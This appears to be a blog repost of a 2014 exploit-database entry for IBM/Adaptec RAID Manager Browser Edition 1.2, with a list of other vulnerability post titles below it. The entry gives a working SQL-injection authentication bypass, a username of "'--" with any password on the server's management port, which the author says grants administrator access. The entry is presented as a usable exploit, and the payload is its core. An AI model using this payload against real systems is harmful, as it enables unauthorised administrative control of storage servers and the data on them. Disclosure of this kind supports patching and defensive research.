728x90
IBM Server RAID Manager Browser Edition version 1.2 suffers from a remote blind SQL injection vulnerability.# Exploit Title: IBM Server RAID Manager Browser Edition Blind SQL Injection Bypassing Authentication
# Google Dork: None
# Date: 22/04/2014
# Exploit Author: JoeV
# Vendor Homepage: https://www.adaptec.com/
# Software Link: https://www.adaptec.com/en-us/speed/raid/storage_manager/smbe_win2k3_xp_2k_v12_exe.htm
# Version: 1.2
# Tested on: Windows
# CVE : None
Description: Username field in the browser edition when we connect to the Raid Server using http://serverip:34572/ is susceptible to SQLi.
We get the administrator acess to the IBM Adaptec Raid Storage Manager.
SQLi: http://serverip:34572/ username="'--" and password="any"728x90
'취약점 정보1' 카테고리의 다른 글
| Mac OS X NFS Mount Privilege Escalation (0) | 2014.04.26 |
|---|---|
| Wireshark 1.8.12/1.10.5 wiretap/mpeg.c Stack Buffer Overflow (0) | 2014.04.26 |
| Debian Security Advisory 2808-2 (0) | 2014.04.24 |
| Firmware Update for Apple AirPort Devices (0) | 2014.04.24 |
| Pwn the n00bs - Acunetix 0day (0) | 2014.04.24 |